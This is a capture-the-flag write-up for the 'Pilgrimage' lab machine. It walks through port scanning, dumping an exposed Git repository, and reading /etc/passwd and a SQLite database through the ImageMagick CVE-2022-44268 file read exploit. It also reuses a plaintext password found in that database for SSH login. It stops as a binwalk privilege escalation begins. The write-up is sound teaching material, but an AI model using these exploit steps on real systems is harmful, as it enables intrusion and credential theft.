Pilgrimage
13 minutes to read
emily
, which is used in SSH too. After that, we find that root
executes a Bash script that uses binwalk
to remove malware from uploaded image files. The version of binwalk
is vulnerable to Remote Code Execution, which leads to the privilege escalation- OS: Linux
- Difficulty: Easy
- IP Address: 10.10.11.219
- Release: 24 / 06 / 2023
Port scanning
# Nmap 7.94 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.219 -p 22,80
Nmap scan report for 10.10.11.219
Host is up (0.041s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
| 256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
|_ 256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 8.01 seconds
This machine has port 22 (SSH) and 80 (HTTP) open.
Enumeration
If we go to http://10.10.11.219
we will be redirected to http://pilgrimage.htb
. After setting the domain in /etc/hosts
we have this website:
There is a feature to upload files. For the moment, let’s apply fuzzing with ffuf
to enumerate more routes:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://pilgrimage.htb/FUZZ
[Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 33ms]
* FUZZ: tmp
[Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 33ms]
* FUZZ: .html
[Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 35ms]
* FUZZ: .htm
[Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 38ms]
* FUZZ: assets
[Status: 200, Size: 7621, Words: 2051, Lines: 199, Duration: 36ms]
* FUZZ: .
[Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 40ms]
* FUZZ: .htaccess
[Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 36ms]
* FUZZ: vendor
[Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 35ms]
* FUZZ: .htc
[Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 36ms]
* FUZZ: .html_var_DE
[Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 38ms]
* FUZZ: .htpasswd
[Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 37ms]
* FUZZ: .git
[Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 38ms]
* FUZZ: .html.
[Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 36ms]
* FUZZ: .html.html
[Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 37ms]
* FUZZ: .htpasswds
...
We see there’s a .git
directory exposed…
Git enumeration
Let’s use git-dumper
to extract the Git repository:
$ git-dumper http://pilgrimage.htb/.git/ .
[-] Testing http://pilgrimage.htb/.git/HEAD [200]
[-] Testing http://pilgrimage.htb/.git/ [403]
[-] Fetching common files
[-] Fetching http://pilgrimage.htb/.gitignore [404]
[-] Fetching http://pilgrimage.htb/.git/description [200]
[-] http://pilgrimage.htb/.gitignore responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/COMMIT_EDITMSG [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/post-receive.sample [404]
[-] http://pilgrimage.htb/.git/hooks/post-receive.sample responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/hooks/commit-msg.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/post-commit.sample [404]
[-] http://pilgrimage.htb/.git/hooks/post-commit.sample responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/hooks/post-update.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-commit.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-receive.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/update.sample [200]
[-] Fetching http://pilgrimage.htb/.git/info/exclude [200]
[-] Fetching http://pilgrimage.htb/.git/objects/info/packs [404]
[-] http://pilgrimage.htb/.git/objects/info/packs responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-push.sample [200]
[-] Fetching http://pilgrimage.htb/.git/index [200]
[-] Finding refs/
[-] Fetching http://pilgrimage.htb/.git/FETCH_HEAD [404]
[-] http://pilgrimage.htb/.git/FETCH_HEAD responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/HEAD [200]
[-] Fetching http://pilgrimage.htb/.git/ORIG_HEAD [404]
[-] http://pilgrimage.htb/.git/ORIG_HEAD responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/config [200]
[-] Fetching http://pilgrimage.htb/.git/logs/HEAD [200]
[-] Fetching http://pilgrimage.htb/.git/info/refs [404]
[-] http://pilgrimage.htb/.git/info/refs responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/logs/refs/heads/master [200]
[-] Fetching http://pilgrimage.htb/.git/packed-refs [404]
[-] http://pilgrimage.htb/.git/packed-refs responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/logs/refs/remotes/origin/HEAD [404]
[-] http://pilgrimage.htb/.git/logs/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/logs/refs/remotes/origin/master [404]
[-] http://pilgrimage.htb/.git/logs/refs/remotes/origin/master responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/logs/refs/stash [404]
[-] http://pilgrimage.htb/.git/logs/refs/stash responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/refs/heads/master [200]
[-] Fetching http://pilgrimage.htb/.git/refs/remotes/origin/HEAD [404]
[-] http://pilgrimage.htb/.git/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/refs/remotes/origin/master [404]
[-] http://pilgrimage.htb/.git/refs/remotes/origin/master responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/refs/wip/wtree/refs/heads/master [404]
[-] Fetching http://pilgrimage.htb/.git/refs/stash [404]
[-] http://pilgrimage.htb/.git/refs/wip/wtree/refs/heads/master responded with status code 404
[-] http://pilgrimage.htb/.git/refs/stash responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/refs/wip/index/refs/heads/master [404]
[-] http://pilgrimage.htb/.git/refs/wip/index/refs/heads/master responded with status code 404
[-] Finding packs
[-] Finding objects
[-] Fetching objects
[-] Fetching http://pilgrimage.htb/.git/objects/8e/42bc52e73caeaef5e58ae0d9844579f8e1ae18 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/00/00000000000000000000000000000000000000 [404]
[-] http://pilgrimage.htb/.git/objects/00/00000000000000000000000000000000000000 responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/objects/c4/18930edec4da46019a1bac06ecb6ec6f7975bb [200]
[-] Fetching http://pilgrimage.htb/.git/objects/46/44c40a1f15a1eed9a8455e6ac2a0be29b5bf9e [200]
[-] Fetching http://pilgrimage.htb/.git/objects/76/a559577d4f759fff6af1249b4a277f352822d5 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/fa/175a75d40a7be5c3c5dee79b36f626de328f2e [200]
[-] Fetching http://pilgrimage.htb/.git/objects/c3/27c2362dd4f8eb980f6908c49f8ef014d19568 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/f2/b67ac629e09e9143d201e9e7ba6a83ee02d66e [200]
[-] Fetching http://pilgrimage.htb/.git/objects/e1/a40beebc7035212efdcb15476f9c994e3634a7 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/c2/a4c2fd4e5b2374c6e212d1800097e3b30ff4e2 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/b2/15e14bb4766deff4fb926e1aa080834935d348 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/a5/29d883c76f026420aed8dbcbd4c245ed9a7c0b [200]
[-] Fetching http://pilgrimage.htb/.git/objects/1f/2ef7cfabc9cf1d117d7a88f3a63cadbb40cca3 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/e9/2c0655b5ac3ec2bfbdd015294ddcbe054fb783 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/1f/8ddab827030fbc81b7cb4441ec4c9809a48bc1 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/fb/f9e44d80c149c822db0b575dbfdc4625744aa4 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/b6/c438e8ba16336198c2e62fee337e126257b909 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/c4/3565452792f19d2cf2340266dbecb82f2a0571 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/11/dbdd149e3a657bc59750b35e1136af861a579f [200]
[-] Fetching http://pilgrimage.htb/.git/objects/fd/90fe8e067b4e75012c097a088073dd1d3e75a4 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/ff/dbd328a3efc5dad2a97be47e64d341d696576c [200]
[-] Fetching http://pilgrimage.htb/.git/objects/47/6364752c5fa7ad9aa10f471dc955aac3d3cf34 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/2f/9156e434cfa6204c9d48733ee5c0d86a8a4e23 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/49/cd436cf92cc28645e5a8be4b1973683c95c537 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/2b/95e3c61cd8f7f0b7887a8151207b204d576e14 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/c2/cbe0c97b6f3117d4ab516b423542e5fe7757bc [200]
[-] Fetching http://pilgrimage.htb/.git/objects/50/210eb2a1620ef4c4104c16ee7fac16a2c83987 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/29/4ee966c8b135ea3e299b7ca49c450e78870b59 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/cd/2774e97bfe313f2ec2b8dc8285ec90688c5adb [200]
[-] Fetching http://pilgrimage.htb/.git/objects/8a/62aac3b8e9105766f3873443758b7ddf18d838 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/5f/ec5e0946296a0f09badeb08571519918c3da77 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/96/3349e4f7a7a35c8f97043c20190efbe20d159a [200]
[-] Fetching http://pilgrimage.htb/.git/objects/6c/965df00a57fd13ad50b5bbe0ae1746cdf6403d [200]
[-] Fetching http://pilgrimage.htb/.git/objects/88/16d69710c5d2ee58db84afa5691495878f4ee1 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/06/19fc1c747e6278bbd51a30de28b3fcccbd848a [200]
[-] Fetching http://pilgrimage.htb/.git/objects/dc/446514835fe49994e27a1c2cf35c9e45916c71 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/54/4d28df79fe7e6757328f7ecddf37a9aac17322 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/b4/21518638bfb4725d72cc0980d8dcaf6074abe7 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/f3/e708fd3c3689d0f437b2140e08997dbaff6212 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/93/ed6c0458c9a366473a6bcb919b1033f16e7a8d [200]
[-] Fetching http://pilgrimage.htb/.git/objects/36/c734d44fe952682020fd9762ee9329af51848d [200]
[-] Fetching http://pilgrimage.htb/.git/objects/26/8dbf75d02f0d622ac4ff9e402175eacbbaeddd [200]
[-] Fetching http://pilgrimage.htb/.git/objects/81/703757c43fe30d0f3c6157a1c20f0fea7331fc [200]
[-] Fetching http://pilgrimage.htb/.git/objects/9e/ace5d0e0c82bff5c93695ac485fe52348c855e [200]
[-] Fetching http://pilgrimage.htb/.git/objects/98/10e80fba2c826a142e241d0f65a07ee580eaad [200]
[-] Fetching http://pilgrimage.htb/.git/objects/a7/3926e2965989a71725516555bcc1fe2c7d4f9e [200]
[-] Fetching http://pilgrimage.htb/.git/objects/8f/155a75593279c9723a1b15e5624a304a174af2 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/ca/d9dfca08306027b234ddc2166c838de9301487 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/23/1150acdd01bbbef94dfb9da9f79476bfbb16fc [200]
[-] Fetching http://pilgrimage.htb/.git/objects/f1/8fa9173e9f7c1b2f30f3d20c4a303e18d88548 [200]
[-] Running git checkout .
We have these source files:
$ tree
.
βββ assets
βΒ Β βββ bulletproof.php
βΒ Β βββ css
βΒ Β βΒ Β βββ animate.css
βΒ Β βΒ Β βββ custom.css
βΒ Β βΒ Β βββ flex-slider.css
βΒ Β βΒ Β βββ fontawesome.css
βΒ Β βΒ Β βββ owl.css
βΒ Β βΒ Β βββ templatemo-woox-travel.css
βΒ Β βββ images
βΒ Β βΒ Β βββ banner-04.jpg
βΒ Β βΒ Β βββ cta-bg.jpg
βΒ Β βββ js
βΒ Β βΒ Β βββ custom.js
βΒ Β βΒ Β βββ isotope.js
βΒ Β βΒ Β βββ isotope.min.js
βΒ Β βΒ Β βββ owl-carousel.js
βΒ Β βΒ Β βββ popup.js
βΒ Β βΒ Β βββ tabs.js
βΒ Β βββ webfonts
βΒ Β βββ fa-brands-400.ttf
βΒ Β βββ fa-brands-400.woff2
βΒ Β βββ fa-regular-400.ttf
βΒ Β βββ fa-regular-400.woff2
βΒ Β βββ fa-solid-900.ttf
βΒ Β βββ fa-solid-900.woff2
βΒ Β βββ fa-v4compatibility.ttf
βΒ Β βββ fa-v4compatibility.woff2
βββ dashboard.php
βββ index.php
βββ login.php
βββ logout.php
βββ magick
βββ register.php
βββ vendor
βββ bootstrap
βΒ Β βββ css
βΒ Β βΒ Β βββ bootstrap.min.css
βΒ Β βββ js
βΒ Β βββ bootstrap.min.js
βββ jquery
βββ jquery.js
βββ jquery.min.js
βββ jquery.min.map
βββ jquery.slim.js
βββ jquery.slim.min.js
βββ jquery.slim.min.map
11 directories, 37 files
It looks like a PHP web application. Moreover, there is no more information in the Git repository:
$ git branch
* master
$ git log
commit e1a40beebc7035212efdcb15476f9c994e3634a7 (HEAD -> master)
Author: emily <emily@pilgrimage.htb>
Date: Wed Jun 7 20:11:48 2023 +1000
Pilgrimage image shrinking service initial commit.
Well, maybe the username emily
is relevant.
Source code analysis
The main PHP file is index.php
. This is the relevant PHP code:
<?php
session_start();
require_once "assets/bulletproof.php";
function isAuthenticated() {
return json_encode(isset($_SESSION['user']));
}
function returnUsername() {
return "\"" . $_SESSION['user'] . "\"";
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$image = new Bulletproof\Image($_FILES);
if($image["toConvert"]) {
$image->setLocation("/var/www/pilgrimage.htb/tmp");
$image->setSize(100, 4000000);
$image->setMime(array('png','jpeg'));
$upload = $image->upload();
if($upload) {
$mime = ".png";
$imagePath = $upload->getFullPath();
if(mime_content_type($imagePath) === "image/jpeg") {
$mime = ".jpeg";
}
$newname = uniqid();
exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime);
unlink($upload->getFullPath());
$upload_path = "http://pilgrimage.htb/shrunk/" . $newname . $mime;
if(isset($_SESSION['user'])) {
$db = new PDO('sqlite:/var/db/pilgrimage');
$stmt = $db->prepare("INSERT INTO `images` (url,original,username) VALUES (?,?,?)");
$stmt->execute(array($upload_path,$_FILES["toConvert"]["name"],$_SESSION['user']));
}
header("Location: /?message=" . $upload_path . "&status=success");
}
else {
header("Location: /?message=Image shrink failed&status=fail");
}
}
else {
header("Location: /?message=Image shrink failed&status=fail");
}
}
?>
We can see that the uploaded file must be an image (PNG or JPEG formats). The server uses ImageMagick to process the image file. We might think of ways to exploit a command injection vulnerability here:
exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime);
But the filename is sanitized with Bulletproof
, so the injection is not possible.
Foothold
ImageMagick is known to have a ton of vulnerabilities and thus a ton of exploits. Indeed, there is a recent vulnerability that grants local file read (CVE-2022-44268). More information on this vulnerability here. A working exploit can be found in imagemagick-lfi-poc.
Let’s see how we can read /etc/passwd
for example:
$ python3 imagemagick-lfi-poc/generate.py -f /etc/passwd -o exploit.png
[>] ImageMagick LFI PoC - by Sybil Scan Research <research@sybilscan.com>
[>] Generating Blank PNG
[>] Blank PNG generated
[>] Placing Payload to read /etc/passwd
[>] PoC PNG generated > exploit.png
Now we upload this image file:
And we get a URL with the processed image:
Now the image file contains /etc/passwd
in the Raw Profile Type
metadata:
$ wget -q http://pilgrimage.htb/shrunk/649a2a09bd257.png
$ exiftool 649a2a09bd257.png
ExifTool Version Number : 12.60
File Name : 649a2a09bd257.png
Directory : .
File Size : 1688 bytes
File Modification Date/Time : 2023:06:27 02:15:05+02:00
File Access Date/Time : 2023:06:27 02:17:00+02:00
File Inode Change Date/Time : 2023:06:27 02:16:59+02:00
File Permissions : -rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 128
Image Height : 128
Bit Depth : 8
Color Type : RGB
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Gamma : 2.2
White Point X : 0.3127
White Point Y : 0.329
Red X : 0.64
Red Y : 0.33
Green X : 0.3
Green Y : 0.6
Blue X : 0.15
Blue Y : 0.06
Background Color : 255 255 255
Modify Date : 2023:06:27 00:15:05
Raw Profile Type : .. 1437.726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d.6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f.6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e.2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f736269.6e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f.62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d.65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a.2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a.783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f.6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f757372.2f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73.706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31.303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f.6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573.722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d.646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b.75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f.7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c69.7374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67.696e0a6972633a783a33393a33393a697263643a2f72756e2f697263643a2f7573722f73.62696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d.5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e.6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a3635353334.3a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e.2f6e6f6c6f67696e0a5f6170743a783a3130303a36353533343a3a2f6e6f6e6578697374.656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d6e6574776f72.6b3a783a3130313a3130323a73797374656d64204e6574776f726b204d616e6167656d65.6e742c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e.0a73797374656d642d7265736f6c76653a783a3130323a3130333a73797374656d642052.65736f6c7665722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f.6c6f67696e0a6d6573736167656275733a783a3130333a3130393a3a2f6e6f6e65786973.74656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d74696d6573.796e633a783a3130343a3131303a73797374656d642054696d652053796e6368726f6e69.7a6174696f6e2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c.6f67696e0a656d696c793a783a313030303a313030303a656d696c792c2c2c3a2f686f6d.652f656d696c793a2f62696e2f626173680a73797374656d642d636f726564756d703a78.3a3939393a3939393a73797374656d6420436f72652044756d7065723a2f3a2f7573722f.7362696e2f6e6f6c6f67696e0a737368643a783a3130353a36353533343a3a2f72756e2f.737368643a2f7573722f7362696e2f6e6f6c6f67696e0a5f6c617572656c3a783a393938.3a3939383a3a2f7661722f6c6f672f6c617572656c3a2f62696e2f66616c73650a.
Warning : [minor] Text/EXIF chunk(s) found after PNG IDAT (may be ignored by some readers)
Datecreate : 2023-06-27T00:15:05+00:00
Datemodify : 2023-06-27T00:15:05+00:00
Datetimestamp : 2023-06-27T00:15:05+00:00
Image Size : 128x128
Megapixels : 0.016
We can use identify
from ImageMagick to extract the content:
$ identify -verbose 649a2a09bd257.png
Image:
...
Raw profile type:
1437
726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d
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62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d
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696e0a6972633a783a33393a33393a697263643a2f72756e2f697263643a2f7573722f73
62696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d
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656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d6e6574776f72
6b3a783a3130313a3130323a73797374656d64204e6574776f726b204d616e6167656d65
6e742c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e
0a73797374656d642d7265736f6c76653a783a3130323a3130333a73797374656d642052
65736f6c7665722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f
6c6f67696e0a6d6573736167656275733a783a3130333a3130393a3a2f6e6f6e65786973
74656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d74696d6573
796e633a783a3130343a3131303a73797374656d642054696d652053796e6368726f6e69
7a6174696f6e2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c
6f67696e0a656d696c793a783a313030303a313030303a656d696c792c2c2c3a2f686f6d
652f656d696c793a2f62696e2f626173680a73797374656d642d636f726564756d703a78
3a3939393a3939393a73797374656d6420436f72652044756d7065723a2f3a2f7573722f
7362696e2f6e6f6c6f67696e0a737368643a783a3130353a36353533343a3a2f72756e2f
737368643a2f7573722f7362696e2f6e6f6c6f67696e0a5f6c617572656c3a783a393938
3a3939383a3a2f7661722f6c6f672f6c617572656c3a2f62696e2f66616c73650a
signature: e881558c35046fa634a9acd154bbb27903b59c018f14e2dfbd398aba4f497bd5
...
We can take the hexadecimal chunk above and decode it to read the /etc/passwd
file from the machine:
$ vim etc_passwd.hex
$ xxd -r -p etc_passwd.hex
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
emily:x:1000:1000:emily,,,:/home/emily:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
As can be seen, we can confirm that emily
is a system user. We might be tempted to read /home/emily/.ssh/id_rsa
or /home/emily/user.txt
, but www-data
is not allowed to read those files.
Instead, we can try to read /var/db/pilgrimage
, which is a SQLite database file present in index.php
:
$db = new PDO('sqlite:/var/db/pilgrimage');
Once we repeat the above process for /var/db/pilgrimage
, we will get the database file. Then, we will dump the users
table and find a plaintext password for emily
:
$ file pilgrimage
pilgrimage: SQLite 3.x database, last written using SQLite version 3034001, file counter 69, database pages 5, cookie 0x4, schema 4, UTF-8, version-valid-for 69
$ sqlite3 pilgrimage
SQLite version 3.39.5 2022-10-14 20:58:05
Enter ".help" for usage hints.
sqlite> .tables
images users
sqlite> .header on
sqlite> select * from users;
username|password
emily|abigchonkyboi123
Luckily, this password works to connect to the machine via SSH:
$ ssh emily@pilgrimage.htb
emily@pilgrimage.htb's password:
emily@pilgrimage:~$ cat user.txt
10fbe26920d512e05fb451458ab7fa17
System enumeration
After doing basic enumeration, we find out that root
is executing these commands periodically:
emily@pilgrimage:~$ ps -faux | grep ^root
root 2 0.0 0.0 0 0 ? S 06:39 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< 06:39 0:00 \_ [rcu_gp]
...
root 1745 0.0 0.0 0 0 ? I 10:15 0:00 \_ [kworker/0:0]
root 1 0.0 0.2 98268 9952 ? Ss 06:39 0:01 /sbin/init
root 503 0.0 0.2 48412 11092 ? Ss 06:40 0:00 /lib/systemd/systemd-journald
root 525 0.0 0.1 21848 5532 ? Ss 06:40 0:00 /lib/systemd/systemd-udevd
root 567 0.0 0.2 47748 10208 ? Ss 06:40 0:00 /usr/bin/VGAuthService
root 568 0.0 0.1 236744 7576 ? Ssl 06:40 0:12 /usr/bin/vmtoolsd
root 573 0.0 0.0 87060 2148 ? S<sl 06:40 0:00 /sbin/auditd
root 641 0.0 0.0 6744 2900 ? Ss 06:40 0:00 /usr/sbin/cron -f
root 644 0.0 0.0 6816 3048 ? Ss 06:40 0:00 /bin/bash /usr/sbin/malwarescan.sh
root 654 0.0 0.0 2516 708 ? S 06:40 0:00 \_ /usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/
root 655 0.0 0.0 6816 2316 ? S 06:40 0:00 \_ /bin/bash /usr/sbin/malwarescan.sh
root 646 0.0 0.6 209752 26856 ? Ss 06:40 0:00 php-fpm: master process (/etc/php/7.4/fpm/php-fpm.conf)
root 647 0.0 0.1 220796 6828 ? Ssl 06:40 0:00 /usr/sbin/rsyslogd -n -iNONE
root 651 0.0 0.1 13852 7092 ? Ss 06:40 0:00 /lib/systemd/systemd-logind
root 674 0.0 0.0 5844 1736 tty1 Ss+ 06:40 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root 700 0.0 0.1 13352 7632 ? Ss 06:40 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 1526 0.0 0.2 14712 8952 ? Ss 09:33 0:00 \_ sshd: emily [priv]
root 722 0.0 0.1 99884 5804 ? Ssl 06:40 0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
root 780 0.0 0.0 56376 1624 ? Ss 06:40 0:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
root 1643 0.0 0.0 6816 3264 ? S 09:43 0:00 bash
root 1646 0.0 0.0 5416 648 ? S 09:44 0:00 \_ script /dev/null -c bash
root 1647 0.0 0.0 2480 504 pts/1 Ss 09:44 0:00 \_ sh -c bash
root 1648 0.0 0.0 7160 3828 pts/1 S+ 09:44 0:00 \_ bash
One interesting process is /bin/bash /usr/sbin/malwarescan.sh
. Let’s read this Bash script:
#!/bin/bash
blacklist=("Executable script" "Microsoft executable")
/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
binout="$(/usr/local/bin/binwalk -e "$filename")"
for banned in "${blacklist[@]}"; do
if [[ "$binout" == *"$banned"* ]]; then
/usr/bin/rm "$filename"
break
fi
done
done
The script analyzes the folder where the images are uploaded from the website. If the image file contains some suspicious strings, the script employs binwalk
to search for embedded files and extracts their content in order to delete it and prevent malware from infecting the machine.
Privilege escalation
The above Bash script is short and seems to be safe. The command that looks more suspicious is binwalk
. Actually, we have version 2.3.2:
emily@pilgrimage:/tmp$ binwalk 2>&1 | head
Binwalk v2.3.2
